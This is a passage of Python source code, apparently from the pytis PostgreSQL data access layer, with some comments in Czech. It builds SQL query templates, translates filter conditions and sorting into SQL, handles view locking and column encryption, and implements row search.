sloupec\n                continue\n            if do_introspection:\n                table_type = self._pdbb_get_table_type(b.table(), b.column())\n            else:\n                table_type = None\n            if b.type() is None and self._arguments is not None:\n                raise Exception(\"Column types must be specified for table functions\",\n                                b.id(), b.table(),)\n            t = self._pdbb_apply_type_kwargs(table_type, b)\n            colspec = ColumnSpec(b.id(), t)\n            columns.append(colspec)\n            if b in self._key_binding:\n                assert not isinstance(t, Binary), \"Binary types may not be used as keys\"\n                key.append(colspec)\n        assert key, DBUserException('data key column not found')\n        # Hotovo\n        return columns, tuple(key)\n\n    def _pdbb_sql_column_list_from_names(self, column_names, full_text_handler=None,\n                                         operations=None, column_groups=None):\n        bindings = [self._db_column_binding(name) for name in column_names]\n        if column_groups:\n            column_groups = [g for g in column_groups if g[0] in column_names]\n        return self._pdbb_sql_column_list(bindings, full_text_handler, operations=operations,\n                                          column_groups=column_groups)\n\n    def _pdbb_sql_column_list(self, bindings, full_text_handler=None, operations=None,\n                              column_groups=None):\n        column_names = [self._pdbb_btabcol(b, full_text_handler=full_text_handler,\n                                           operations=operations,\n                                           column_groups=column_groups)\n                        for b in bindings if b is not None and b.id()]\n        return _Query.join(column_names)\n\n    def _pdbb_full_text_handler(self, binding):\n        indexed_columns = binding.type().columns()\n        if indexed_columns:\n            indexed_columns_list = []\n            for name in indexed_columns:\n                sql_name = self._pdbb_btabcol(self._db_column_binding(name))\n                indexed_columns_list.append(_QFunction('coalesce', (sql_name, sval(''),)))\n            text = _Query.join(indexed_columns_list, \"||' * '||\")\n            query_name = self._pdbb_fulltext_query_name(binding.column())\n            result = _QFunction('ts_headline', (text, query_name,))\n        else:\n            result = _Query(\"''\")\n        return result\n\n    def _pdbb_column_group_call(self, group):\n        args = _Query.join(group[3:])\n        return args.wrap(group[2])\n\n    def _pdbb_create_sql_commands(self):\n        \"\"\"Vytvoř šablony SQL příkazů používané ve veřejných metodách.\"\"\"\n        bindings = self._bindings\n        for b in bindings:\n            assert isinstance(b, DBColumnBinding), ('Unsupported binding specification', b)\n        # Připrav parametry\n        operations = (self._pdbb_operations or [])\n        aggregate_columns = [o[2] for o in operations]\n        group_columns = []\n        function_column_groups = []\n        for g in (self._pdbb_column_groups or []):\n            if g[2] is None:\n                group_columns.append(g[0])\n            else:\n                function_column_groups.append(g)\n        if self._pdbb_column_groups is None and self._pdbb_operations is None:\n            filtered_bindings = bindings\n        else:\n            filtered_bindings = []\n            for b in bindings:\n                if b.id() in group_columns:\n                    filtered_bindings.append(b)\n            for aggregate, id_, name in operations:\n                for b in bindings:\n                    if id_ == b.id():\n                        assert name not in [b_.id() for b_ in bindings], \\\n                            ('Duplicate column name', name,)\n                        if aggregate == self.AGG_COUNT:\n                            type_ = Integer()\n                        elif aggregate == self.AGG_AVG:\n                            type_ = Float()\n                        else:\n                            type_ = self.find_column(id_).type()\n                            assert type_ is not None\n                        cb = DBColumnBinding(name, '', b.column(), type_=type_)\n                        self._bindings = bindings = bindings + (cb,)\n                        filtered_bindings.append(cb)\n                        self._columns = self._columns + (ColumnSpec(name, type_),)\n            for g in function_column_groups:\n                name, type_ = g[0], g[1]\n                self._columns = self._columns + (ColumnSpec(name, type_),)\n                cb = DBColumnBinding(name, '', name, type_=type_)\n                self._bindings = bindings = bindings + (cb,)\n                filtered_bindings.append(cb)\n        self._pdbb_filtered_bindings = filtered_bindings\n        column_list = self._pdbb_sql_column_list(filtered_bindings,\n                                                 full_text_handler=self._pdbb_full_text_handler,\n                                                 operations=self._pdbb_operations,\n                                                 column_groups=self._pdbb_column_groups)\n        assert column_list, ('No columns present', [b.id() for b in bindings], group_columns,)\n        if self._pdbb_column_groups:\n            groupby_columns = list(self._distinct_on or [])\n            for b in bindings:\n                if b.id() in group_columns:\n                    groupby_columns.append(self._pdbb_btabcol(b))\n            for g in self._pdbb_column_groups:\n                if g[2] is not None:\n                    c = g[0]\n                    assert c not in groupby_columns, (\"group column duplicate\", g,)\n                    groupby_columns.append(self._pdbb_column_group_call(g))\n            groupby = _Query('group by ') + _Query.join(groupby_columns, ', ')\n        else:\n            groupby = _Query('')\n        table_names = [b.table() for b in bindings if b.table()]\n        table_names = remove_duplicates(table_names)\n        if self._arguments is not None:\n            assert len(table_names) == 1, \"Only single tables supported for table functions\"\n            table_list = _QFunction(table_names[0])\n            table_expressions = [table_list]\n            self._arguments_arg = table_expressions[0].values_arg()\n        else:\n            table_expressions = table_names\n            table_list = _Query.join(table_expressions)\n        if len(table_expressions) <= 1:\n            relation = _Query('true')\n        else:\n            rels = [self._pdbb_btabcol(b) + '=' + self._pdbb_btabcol(b.related_to())\n                    for b in bindings if b.related_to()]\n            relation = _Query.join(rels, ' and ')\n        main_table = self._key_binding[0].table()\n        schema, main_table_name = self._pdbb_split_table_name(main_table)\n        if self._arguments is None:\n            main_table_from = main_table\n        else:\n            main_table_from = table_expressions[0]\n        if isinstance(main_table_from, basestring):\n            main_table_from = _Query(main_table_from)\n        keytabcols = [self._pdbb_btabcol(b) for b in self._key_binding]\n        assert len(keytabcols) == 1, ('Multicolumn keys no longer supported', keytabcols)\n        first_key_column = keytabcols[0]\n        keys_cond = _Query('%(key_column)s IN (%(keys)s)', dict(key_column=first_key_column))\n        if self._distinct_on:\n            distinct_columns_string = self._pdbb_sql_column_list_from_names(self._distinct_on)\n            distinct_on = _Query(' DISTINCT ON (') + distinct_columns_string + ')'\n            distinct_on_ordering = distinct_columns_string + ', '\n        else:\n            distinct_on = _Query('')\n            distinct_on_ordering = _Query('')\n        sort_exclude = aggregate_columns + [g[0] for g in function_column_groups]\n\n        def sortspec(direction):\n            items = []\n            bindings = [b for b in self._key_binding\n                        if b in filtered_bindings and b.id() not in aggregate_columns]\n            if not bindings:\n                bindings = filtered_bindings\n            for b in bindings:\n                if b.id() not in sort_exclude:\n                    items.append(self._pdbb_btabcol(b, convert_ltree=True) + ' ' + direction)\n            for g in function_column_groups:\n                items.append(self._pdbb_column_group_call(g) + ' ' + direction)\n            # TODO: items may still be empty (if only aggregates are present in the result columns)\n            return _Query.join(items)\n        ordering = sortspec('ASC')\n        rordering = sortspec('DESC')\n        condition = keys_cond\n        relation_and_condition = _Query.join((relation.wrap(), condition.wrap(),), ' and ')\n        if self._condition is None:\n            filter_condition = _Query('true')\n        else:\n            filter_condition = self._pdbb_condition2sql(self._condition).wrap()\n\n        def make_lock_command():\n            from pytis.data.gensqlalchemy import SQLTable, SQLView\n            db_spec = self._pdbb_db_spec\n            if db_spec and issubclass(db_spec, SQLTable):\n                return ''\n            if db_spec is None:\n                qresult = self._pg_query(_Query(\n                    ((\"select relkind from pg_class join pg_namespace \"\n                      \"on (pg_class.relnamespace = pg_namespace.oid) \"\n                      \"where nspname='%s' and relname='%s'\") %\n                     (schema, main_table_name,))),\n                    outside_transaction=True)\n                if qresult[0][0] == 'r':\n                    return ''\n            qresult = self._pg_query(_Query(\n                (\"select definition from pg_views where schemaname = '%s' and viewname = '%s'\" %\n                 (schema, main_table_name,))),\n                outside_transaction=True)\n            assert len(qresult) == 1, (schema, main_table_name,)\n            lock_query = qresult[0][0]\n            if lock_query[-1] == ';':\n                lock_query = lock_query[:-1]\n            lock_query = _Query(lock_query.replace('%', '%%'))\n            # There are some issues with locking views:\n            # - There is a PostgreSQL bug preventing locking views which are\n            #   built on top of other views.\n            # - It's not possible to lock views using LEFT OUTER JOIN (this is\n            #   a PostgreSQL feature).\n            # Both the problems can be solved by using FOR UPDATE OF version of\n            # the locking clause.  But first we need to know what may be put\n            # after OF without causing a database error.\n            if db_spec and issubclass(db_spec, SQLView) and db_spec.lock_tables:\n                lock_tables = db_spec.lock_tables\n                lock_key = db_spec.lock_key\n            else:\n                # If there is no explicit lock_tables specification, we try to\n                # find out the tables and the key to lock by parsing the query tree.\n                qresult = self._pg_query(\n                    _Query(\"select ev_action from \"\n                           \"pg_rewrite join pg_class on (pg_rewrite.ev_class = pg_class.oid) \"\n                           \"join pg_namespace on (pg_class.relnamespace = pg_namespace.oid) \"\n                           \"where nspname=%(schema)s and relname=%(main_table)s\",\n                           dict(schema=sval(schema), main_table=sval(main_table))),\n                    outside_transaction=True)\n                ev_action_string = qresult[0][0]\n                ev_action = evaction.pg_parse_ev_action(ev_action_string)\n                ev_rtable = ev_action[0]['rtable']\n                lock_candidates = [table['eref']['aliasname']\n                                   for table in ev_rtable if table['inFromCl']]\n\n                def check_candidate(candidate_table):\n                    try:\n                        self._pg_query(lock_query + (\" for update of %s nowait limit 1\" %\n                                                     (candidate_table,)),\n                                       outside_transaction=True)\n                        return True\n                    except DBLockException:\n                        return True\n                    except DBUserException:\n                        return False\n\n                lock_tables = [c for c in lock_candidates if check_candidate(c)]\n\n                def find_real_key():\n                    keyname = first_key_column.template().split('.')[-1]\n                    for colspec in ev_action[0]['targetList']:\n                        if colspec['resname'] == keyname:\n                            break\n                    else:\n                        return None\n                    table = colspec['resorigtbl']\n                    column = colspec['resorigcol']\n                    qresult = self._pg_query(_Query((\"select relname, attname from pg_class join \"\n                                                     \"pg_attribute on (attrelid=pg_class.oid) \"\n                                                     \"where pg_class.oid=%s and \"\n                                                     \"pg_attribute.attnum=%s\") % (table, column,)),\n                                             outside_transaction=True)\n                    if qresult:\n                        relname, attname = qresult[0]\n                        if relname not in lock_tables:\n                            return None\n                    else:\n                        return None\n                    return relname + '.' + attname\n                if lock_tables:\n                    lock_key = find_real_key()\n                else:\n                    lock_key = None\n            if lock_tables and lock_key:\n                limit_clause = '(%s=%%(key)s)' % (lock_key,)\n                # Stupid and incorrect, but how to make it better?\n                t = lock_query.template()\n                matches = [m for m in re.finditer(' where ', t, re.I)]\n                if matches:\n                    match = matches[-1]\n                else:\n                    match = None\n                if match:\n                    beg, end = match.span()\n                    n = 0\n                    for char in t[end:]:\n                        if char == '(':\n                            n = n - 1\n                        elif char == ')':\n                            n = n + 1\n                    if n > 0:\n                        match = None\n                if match:\n                    lock_query = _Query(t[:beg] + ' where ' + limit_clause + ' and ' + t[end:])\n                else:\n                    lock_query = lock_query + ' where ' + limit_clause\n                result = lock_query + \" for update of %s nowait\" % (', '.join(lock_tables),)\n            else:\n                log(EVENT, \"Unlockable view, won't be locked:\", main_table)\n                result = lock_query + ' limit 1'\n            return result\n\n        self._pdbb_command_lock = make_lock_command\n        # We make all cursors names unique to avoid conflicts with codebooks\n        # when using cross-class transactions and additionally to avoid\n        # conflicts when using data instance cache.\n        cursor_name = '%s_%%(selection)s' % (self._PDBB_CURSOR_NAME,)\n        # Vytvoř šablony příkazů\n        args = dict(columns=column_list, supplement=_Query(''), condition=_Query('true'),\n                    groupby=groupby, relation=relation_and_condition,\n                    filter_condition=filter_condition, tables=table_list, ordering=ordering)\n        template = ('select %(columns)s from %(tables)s '\n                    'where %(relation)s and %(filter_condition)s '\n                    '%(groupby)s order by %(ordering)s %(supplement)s')\n        self._pdbb_command_row = _Query(template, args)\n        self._pdbb_command_distinct = _Query(\n            \"select distinct %(expression)s from %(tables)s \"\n            \"where %(condition)s and (%(relation)s) and %(filter_condition)s \"\n            \"order by %(sorting)s\",\n            dict(tables=table_list, relation=relation, filter_condition=filter_condition))\n        self._pdbb_command_fetch_last = _Query('fetch last from %s' % (cursor_name,))\n        self._pdbb_command_move_to_start = _Query('move absolute 0 from %s' % (cursor_name,))\n        query = _Query(('declare %s scroll cursor for '\n                        'select __pytis_select.*, row_number() over () as _number from '\n                        '(%%(inner_query)s %%(limit)s) __pytis_select') % (cursor_name,))\n        args = dict(columns=column_list, relation=relation,\n                    filter_condition=filter_condition,\n                    table=table_list, std_ordering=ordering, groupby=groupby,\n                    distinct=distinct_on, distinct_ordering=distinct_on_ordering)\n        if self._pdbb_operations:\n            inner_query = _Query(\n                ('select * '\n                 'from (select%%(distinct)s %%(columns)s from %%(table)s '\n                 'where (%%(relation)s) and %%(filter_condition)s %%(groupby)s '\n                 'order by %%(distinct_ordering)s%%(ordering)s %%(std_ordering)s) '\n                 'as %s %%(fulltext_queries)s where %%(condition)s') % (table_names[0],),\n                args)\n        elif distinct_on:\n            inner_query = _Query(\n                ('select %%(columns)s '\n                 \"from (select%%(distinct)s * from %%(table)s%%(fulltext_queries)s \"\n                 \"where %%(condition)s and (%%(relation)s) and %%(filter_condition)s) \"\n                 \"as %s %%(groupby)s order by %%(ordering)s %%(std_ordering)s\") % (table_names[0],),\n                args)\n        else:\n            inner_query = _Query(\n                ('select %(columns)s '\n                 \"from %(table)s%(fulltext_queries)s \"\n                 \"where %(condition)s and (%(relation)s) and %(filter_condition)s %(groupby)s \"\n                 \"order by %(distinct_ordering)s%(ordering)s %(std_ordering)s\"),\n                args)\n        self._pdbb_command_select = query % dict(inner_query=inner_query)\n        self._pdbb_command_dummy_select = _Query(\"declare %s scroll cursor for select 1 where false\"\n                                                 % (cursor_name,))\n        self._pdbb_command_close_select = _Query('close %s' % (cursor_name,))\n        args = dict(relation=relation, filter_condition=filter_condition, tables=table_list,\n                    inner_columns=column_list, distinct=distinct_on, groupby=groupby)\n        if self._pdbb_operations:\n            self._pdbb_command_select_agg = _Query(\n                ('select%%(distinct)s %%(columns)s from '\n                 '(select %%(inner_columns)s from %%(tables)s '\n                 'where true and %%(filter_condition)s %%(groupby)s) as %s '\n                 'where %%(condition)s and (%%(relation)s)') % (table_names[0],),\n                args)\n        else:\n            self._pdbb_command_select_agg = _Query(\n                'select%(distinct)s %(columns)s from %(tables)s '\n                'where %(condition)s and (%(relation)s) and %(filter_condition)s',\n                args)\n        self._pdbb_command_fetch_forward = _Query('fetch forward %%(number)s from %s' %\n                                                  (cursor_name,))\n        self._pdbb_command_fetch_backward = _Query('fetch backward %%(number)s from %s' %\n                                                   (cursor_name,))\n        self._pdbb_command_move_forward = _Query('move forward %%(number)s from %s' %\n                                                 (cursor_name,))\n        self._pdbb_command_move_backward = _Query('move backward %%(number)s from %s' %\n                                                  (cursor_name,))\n        self._pdbb_command_move_absolute = _Query('move absolute %%(number)s from %s' %\n                                                  (cursor_name,))\n        query = _Query(('select %(columns)s from %(main_table)s '\n                        'where (%(relation)s) and %(filter_condition)s and %(condition)s '\n                        '%(groupby)s order by %(ordering)s %(search_ordering)s limit 1'),\n                       dict(columns=column_list, relation=relation, groupby=groupby,\n                            filter_condition=filter_condition, main_table=main_table_from))\n        self._pdbb_command_search_first = query % dict(search_ordering=ordering)\n        self._pdbb_command_search_last = query % dict(search_ordering=rordering)\n        args = dict(relation=relation, filter_condition=filter_condition, columns=column_list,\n                    key_column=first_key_column, main_table=main_table_from, groupby=groupby,\n                    distinct=distinct_on, tables=table_list)\n        if self._pdbb_operations:\n            self._pdbb_command_search_distance = _Query(\n                ('select count(*) from '\n                 '(select%%(distinct)s * from '\n                 '(select %%(columns)s from %%(tables)s '\n                 'where (%%(relation)s) and %%(filter_condition)s %%(groupby)s) as %s'\n                 ' where %%(condition)s) as __count') % (table_names[0],),\n                args)\n        elif distinct_on:\n            self._pdbb_command_search_distance = _Query(\n                ('select count(*) from (select%%(distinct)s * from %%(main_table)s '\n                 'where (%%(relation)s) and %%(filter_condition)s and %%(condition)s) as %s') %\n                (table_names[0]),\n                args)\n        else:\n            self._pdbb_command_search_distance = _Query(\n                'select count(%(key_column)s) from %(main_table)s '\n                'where (%(relation)s) and %(filter_condition)s and %(condition)s',\n                args)\n        self._pdbb_command_insert = _Query(\n            'insert into %s (%%(columns)s) values %%(values)s returning %%(key_column)s' %\n            (main_table,),\n            args)\n        self._pdbb_command_insert_alternative = _Query(\n            'insert into %s (%%(columns)s) values %%(values)s' % (main_table,))\n        self._pdbb_command_insert_get_last = _Query(\n            'select %%(key_column)s from %s order by %%(key_column)s desc limit %%(row_count)s' % (main_table,),\n            args)\n        if self._ordering:\n            ordering = []\n            for o in self._ordering:\n                for b in self._bindings:\n                    if b.id() == o:\n                        ordering.append(b.column())\n                        break\n                else:\n                    raise ProgramError('Invalid ordering id', o)\n            ocol = ordering[0]\n            eqs = []\n            for i in range(1, len(ordering)):\n                eqs.append('%s=%%(param_%d)s' % (ordering[i], i,))\n            if eqs:\n                eqstring = ' AND '.join(eqs)\n                xeqstring = ' AND ' + eqstring\n            else:\n                eqstring = xeqstring = ''\n            self._pdbb_command_insert_shift = _Query(\n                'update %s set %s=%s+%%(shift_amount)s where %s>=%%(position)s %s' %\n                (main_table, ocol, ocol, ocol, xeqstring))\n            self._pdbb_command_insert_newpos = _Query(\n                'select max(%s) from %s where %s' % (ocol, main_table, eqstring))\n        update_from_tables = [t for t in table_names if t != main_table]\n        if update_from_tables:\n            update_from_clause = (' from ' +\n                                  ', '.join(update_from_tables))\n        else:\n            update_from_clause = ''\n        args = dict(relation=relation)\n        self._pdbb_command_update = _Query(\n            'update %s set %%(settings)s%s where (%%(relation)s) and (%%(condition)s)' %\n            (main_table, update_from_clause),\n            args)\n        args['key_column'] = first_key_column\n        self._pdbb_command_broken_update_preselect = _Query(\n            'select count (%%(key_column)s) from %s where (%%(relation)s) and (%%(condition)s)' %\n            (main_table),\n            args)\n        self._pdbb_command_test_broken_update = _Query(\n            (\"select 'yes' from pg_class, pg_namespace, pg_rewrite \"\n             \"where pg_rewrite.ev_type = '2' and \"\n             \"pg_rewrite.is_instead = 't' and \"\n             \"pg_class.oid = pg_rewrite.ev_class and \"\n             \"pg_class.relnamespace = pg_namespace.oid and \"\n             \"pg_namespace.nspname = '%s' and \"\n             \"pg_class.relname = '%s'\") %\n            (schema, main_table_name,))\n        self._pdbb_command_delete = _Query('delete from %s where %%(condition)s' % (main_table,))\n        self._pdbb_command_refresh = _Query('refresh materialized view%%(concurrently)s %s' % (main_table,))\n        self._pdbb_command_isolation = _Query('set transaction isolation level %(isolation)s'\n                                              '%(read_only)s')\n        self._pdbb_command_notify = _Query('notify \"__modif_%s\"' % (main_table.lower(),))\n        self._pg_notifications = ['__modif_%s' % (t.lower(),) for t in table_names]\n\n    def _pdbb_condition2sql(self, condition):\n        if condition is None:\n            return _Query('true')\n        op_name, op_args, op_kwargs = \\\n            condition.name(), condition.args(), condition.kwargs()\n\n        def function_call(op_args):\n            assert len(op_args) >= 1, ('Invalid number of arguments', op_args)\n            function, args = op_args[0], op_args[1:]\n            queries = []\n            for a in args:\n                if isinstance(a, basestring):  # column name\n                    queries.append(colarg(a)[0])\n                elif isinstance(a, Value):  # direct value\n                    queries.append(a)\n                else:\n                    raise ProgramError(\"Invalid function condition argument\", a)\n            return _QFunction(function, queries)\n\n        def colarg(colid):\n            if isinstance(colid, Operator) and colid.name() == 'Function':\n                return function_call(colid.args()), None\n            assert isinstance(colid, basestring), ('Invalid column specification', colid)\n            col = self._db_column_binding(colid)\n            assert col, ('Invalid column name', colid)\n            a = self._pdbb_btabcol(col)\n            t = self.find_column(colid).type()\n            return a, t\n\n        def relop(rel, args, kwargs):\n            assert len(args) == 2, ('Invalid number or arguments', args)\n            arg1, arg2 = args\n            a1, t1 = colarg(arg1)\n            if isinstance(arg2, basestring):\n                a2, t2 = colarg(arg2)\n                a2null = False\n            else:\n                assert isinstance(arg2, Value), ('Invalid value type', arg2)\n                assert (not isinstance(t1, Binary) or\n                        (rel in ('=', '!=') and arg2.value() is None)), \\\n                    \"Binary data can only be compared with NULL values\"\n                val = arg2\n                a2 = self._pdbb_coalesce(t1, val)\n                t2 = arg2.type()\n                a2null = val.value() is None\n            if kwargs.get('ignore_case') and isinstance(t1, String) and isinstance(t2, String):\n                def fix_case(x):\n                    return x.wrap('lower')\n            else:\n                def fix_case(x):\n                    return x\n            if rel in ('=', '!=') and a2null:\n                relarg = _Query(' IS' + (' NOT' if rel == '!=' else '') + ' NULL')\n            else:\n                relarg = _Query(rel + ' ') + fix_case(a2)\n            return (fix_case(a1) + ' ' + relarg).wrap()\n        operators = {'EQ': '=',\n                     'NE': '!=',\n                     'LT': '<',\n                     'GT': '>',\n                     'LE': '<=',\n                     'GE': '>=',\n                     'LTreeAncestor': '@>',\n                     'LTreeDescendant': '<@',\n                     'RangeContains': '@>',\n                     'RangeContained': '<@',\n                     'RangeOverlap': '&&',\n                     }\n        if op_name in operators:\n            expression = relop(operators[op_name], op_args, op_kwargs)\n        elif op_name in ('WM', 'NW'):\n            cid, spec = op_args[0], op_args[1].value()\n            for old, new in (('%', '\\\\%'), ('_', '\\\\_')):\n                spec = spec.replace(old, new)\n            for old, new in (('*', '%'), ('?', '_')):\n                i = -1\n                while True:\n                    i = spec.find(old, i + 1)\n                    if i < 0:\n                        break\n                    j = i - 1\n                    while j >= 0 and spec[j] == '\\\\':\n                        j = j - 1\n                    if (i - j) % 2 == 1:\n                        spec = spec[:i] + new + spec[i + 1:]\n            rel = (op_name == 'NW' and 'NOT ' or '') + 'LIKE'\n            expression = relop(rel, (cid, sval(spec),), op_kwargs)\n        elif op_name == 'NOT':\n            assert len(op_args) == 1, ('Invalid number or arguments', op_args)\n            arg = op_args[0]\n            assert isinstance(arg, Operator)\n            expression = _Query('not ') + self._pdbb_condition2sql(arg)\n        elif op_name == 'AND' or op_name == 'OR':\n            if not op_args:\n                expression = _Query('true' if op_name == 'AND' else 'false')\n            else:\n                assert not any(a and not isinstance(a, Operator) for a in op_args), \\\n                    ('Invalid suboperator', op_args)\n                exps = [self._pdbb_condition2sql(a) for a in op_args]\n                sqlop = (' and ' if op_name == 'AND' else ' or ')\n                expression = _Query.join(exps, sqlop)\n        elif op_name == 'IN':\n            assert len(op_args) == 5, ('Invalid number or arguments', op_args)\n            col, data, table_col, cond, arguments = op_args\n            table = data._key_binding[0].table()\n            if data._condition is not None:\n                cond = pytis.data.AND(data._condition, cond)\n            condition = data._pdbb_condition2sql(cond)\n            if arguments:\n                args = []\n                for i, b in enumerate(data._arguments):\n                    type_ = b.type()\n                    if not isinstance(type_, Type):\n                        type_ = type_()\n                    arg_value = arguments.get(b.id(), type_.default_value())\n                    args.append(arg_value)\n                table = _QFunction(table, args)\n            else:\n                table = _Query(table)\n            expression = (_Query('%s in (select %s from ' % (col, table_col,)) + table + ' where ' +\n                          condition + ')')\n        elif op_name == 'FT':\n            assert len(op_args) == 3, ('Invalid number of arguments', op_args)\n            col, query, query_id = op_args\n            expression = _Query('%s @@ %s' % (col, self._pdbb_fulltext_query_name(col),))\n        elif op_name == 'LTreeMatch':\n            assert len(op_args) == 2, ('Invalid number of arguments', op_args)\n            col, query = op_args\n            expression = _Query(\"%s ~ \" % (col,)) + _Query.next_arg_query(sval(query))\n        elif op_name == 'Function':\n            expression = function_call(op_args)\n        else:\n            raise ProgramError('Unknown operator', op_name)\n        return expression.wrap()\n\n    def _pdbb_sort2sql(self, sort):\n        function_column_dict = {}\n        for g in (self._pdbb_column_groups or []):\n            if g[2] is not None:\n                function_column_dict[g[0]] = g\n\n        def full_text_handler(binding):\n            column_name = self._pdbb_btabcol(binding)\n            query = self._pdbb_fulltext_query_name(binding.column())\n            return _QFunction('ts_rank_cd', (column_name, query,))\n\n        def item2sql(item, self=self):\n            if isinstance(item, tuple):\n                id, dirspec = item\n                dir = {ASCENDENT: 'ASC', DESCENDANT: 'DESC'}[dirspec]\n            else:\n                id, dir = item, 'ASC'\n            g = function_column_dict.get(id)\n            if g:\n                colstring = self._pdbb_column_group_call(g)\n            else:\n                b = self._db_column_binding(id)\n                assert b is not None, \\\n                    \"Unknown column '%s' in sorting specification for '%s'\" % \\\n                    (id, self._key_binding[0].table())\n                colstring = self._pdbb_btabcol(b, full_text_handler=full_text_handler,\n                                               convert_ltree=True)\n            return colstring + ' ' + dir\n        sort_string = _Query.join([item2sql(item) for item in sort])\n        if sort_string:\n            sort_string += ','\n        return sort_string\n\n    def _pdbb_limit2sql(self, limit):\n        return _Query('' if limit is None else 'limit %d' % (limit,))\n\n    def _pdbb_fulltext_query_name(self, column_name):\n        return '_pytis_ftq__%s' % (column_name,)\n\n    # Metody související s exportovanými metodami DB operací\n\n    def _pdbb_table_row_lists(self, row):\n        table = self._key_binding[0].table()\n        table_bindings = [b for b in self._bindings if b.table() == table]\n        columns = []\n        values = []\n        for b in table_bindings:\n            try:\n                value = row[b.id()]\n            except KeyError:\n                continue\n            colid = b.id()\n            colspec = self.find_column(colid)\n            assert colspec, ('Column not found', colid)\n            crypto_name = b.crypto_name()\n            ctype = colspec.type()\n            if isinstance(ctype, (DateTime, Time)) and value.value() is not None:\n                t = value.type()\n                if ctype.without_timezone():\n                    if not t.without_timezone():\n                        notz_value = value.value()\n                        if isinstance(t, DateTime):\n                            # There's no way to convert time without date to local time zone\n                            notz_value = notz_value.astimezone(DateTime.LOCAL_TZINFO)\n                        notz_value = notz_value.replace(tzinfo=None)\n                        value = Value(ctype, notz_value)\n                else:\n                    if t.without_timezone():\n                        # There's no way to convert time without date to local time zone\n                        if not isinstance(t, DateTime):\n                            raise ValueError(\"Time value without time zone\", None,\n                                             (value.value(), b.table(), colid,))\n                        value = Value(ctype, value.value().replace(tzinfo=DateTime.LOCAL_TZINFO))\n            if crypto_name is not None:\n                if isinstance(ctype, String):\n                    encryption_function = 'pytis_encrypt_text'\n                elif isinstance(ctype, Float):\n                    encryption_function = 'pytis_encrypt_float'\n                elif isinstance(ctype, Integer):\n                    encryption_function = 'pytis_encrypt_int'\n                elif isinstance(ctype, Binary):\n                    encryption_function = 'pytis_encrypt_binary'\n                else:\n                    raise Exception(\"Encryption supported not available for the type\", ctype)\n                if isinstance(ctype, Binary):\n                    if value.value() is None:\n                        if b.encrypt_empty():\n                            value = _QFunction(encryption_function,\n                                               (sval(None), sval(crypto_name),))\n                    else:\n                        value = _QFunction(encryption_function, (value, sval(crypto_name)))\n                else:\n                    if value.value() is not None or b.encrypt_empty():\n                        value = _QFunction(encryption_function, (value, sval(crypto_name)))\n            columns.append(b.column())\n            values.append(value)\n        return columns, values\n\n    def _pg_make_arguments(self, args, arguments):\n        if self._arguments is not None and arguments is not self.UNKNOWN_ARGUMENTS:\n            call_arguments = []\n            for i in range(len(self._arguments)):\n                b = self._arguments[i]\n                type_ = b.type()\n                if not isinstance(type_, Type):\n                    type_ = type_()\n                arg_value = arguments.get(b.id(), type_.default_value())\n                call_arguments.append(arg_value)\n            args[self._arguments_arg] = _Query.join(call_arguments)\n\n    def _pg_rows(self, key_values, columns, transaction=None, supplement='', arguments={}):\n        \"\"\"Retrieve and return raw data corresponding to 'key_value'.\"\"\"\n        key_values = tuple(key_values)\n        if len(key_values)==0:\n            # Avoid executing any query with empty array\n            return PostgreSQLResult(())\n        args = dict(keys=_Query.join(key_values), supplement=_Query(supplement))\n        if columns:\n            args['columns'] = self._pdbb_sql_column_list_from_names(\n                columns, operations=self._pdbb_operations,\n                column_groups=self._pdbb_column_groups)\n        self._pg_make_arguments(args, arguments)\n        query = self._pdbb_command_row.update(args)\n        return self._pg_query(query, transaction=transaction)\n\n    def _pg_row(self, key_value, columns, transaction=None, supplement='', arguments={}):\n        return self._pg_rows((key_value,), columns, transaction, supplement, arguments)\n\n    def _pg_search(self, row, condition, direction, transaction=None, arguments={}):\n        if transaction is None:\n            transaction = self._pg_select_transaction\n        sorting = self._pg_last_select_sorting\n        if direction == FORWARD:\n            pass\n        elif direction == BACKWARD:\n            sorting = reversed_sorting(sorting)\n        else:\n            raise ProgramError('Invalid direction', direction)\n\n        def sorting_condition(sorting, forwards, row, mayeq):\n            # - forwards je True:\n            #   pak je row řádek, na kterém stojíme a hledáme všechny řádky\n            #   v směru pohybu vyhledávání\n            # - forwards je False:\n            #   pak je row řádek vyhledávaný řádek a hledáme všechny řádky,\n            #   které jsou v protisměru pohybu vyhledávání.\n            if row is None:\n                return None\n            sdirection = ecase(direction,\n                               (FORWARD, ASCENDENT),\n                               (BACKWARD, DESCENDANT))\n            sorting = tuple(sorting)\n            if self._pdbb_column_groups is None:\n                # Row doesn't contain key columns when grouping (aggregation) is on.\n                sorting += tuple((c.id(), sdirection) for c in self.key())\n            processed = []\n            conditions = []\n            for cid, dir in sorting:\n                if cid in processed:\n                    continue\n                conds = [EQ(c, row[c]) for c in processed]\n                if (forwards and dir == ASCENDENT) or (not forwards and dir == DESCENDANT):\n                    relop = GT\n                else:\n                    relop = LT\n                if row[cid].value() is None:\n                    if relop is LT:\n                        conds.append(NE(cid, row[cid]))\n                else:\n                    neq = relop(cid, row[cid], ignore_case=False)\n                    if relop is GT:\n                        nullval = Value(row[cid].type(), None)\n                        neq = OR(neq, EQ(cid, nullval))\n                    conds.append(neq)\n                if conds and len(conds) > len(processed):\n                    conditions.append(AND(*conds))\n                processed.append(cid)\n            if mayeq:\n                eqs = [EQ(c, row[c], ignore_case=False) for c in processed]\n                conditions.append(AND(*eqs))\n            return OR(*conditions)\n        select_cond = self._pg_last_select_condition\n        common_cond = AND(select_cond,\n                          sorting_condition(sorting, True, row, False))\n        sort_string = self._pdbb_sort2sql(sorting)\n        # Find the first row matching given condition.\n        search_cond = AND(common_cond, condition)\n        cond_string = self._pdbb_condition2sql(search_cond)\n        if direction == FORWARD:\n            sql_command = self._pdbb_command_search_first\n        elif direction == BACKWARD:\n            sql_command = self._pdbb_command_search_last\n        else:\n            raise ProgramError('Unknown direction', direction)\n        qargs = {'condition': cond_string, 'ordering': sort_string}\n        if self._pdbb_select_column_list:\n            qargs['columns'] = self._pdbb_select_column_list\n        self._pg_make_arguments(qargs, arguments)\n        query = sql_command.update(qargs)\n        data_ = self._pg_query(query, transaction=transaction)\n        if not data_:\n            return 0\n        # Determine the distance between the current and the found row.\n        row_found = self._pg_make_row_from_raw_data(\n            data_, template=self._pg_make_row_template_limited)\n        search_cond = AND(common_cond,\n                          sorting_condition(sorting, False,\n                                            row_found, True))\n        cond_string = self._pdbb_condition2sql(search_cond)\n        args = dict(condition=cond_string)\n        self._pg_make_arguments(args, arguments)\n        data_ = self._pg_query(self._pdbb_command_search_distance.update(args),\n                               transaction=transaction)\n        try:\n            result = int(data_[0][0])\n        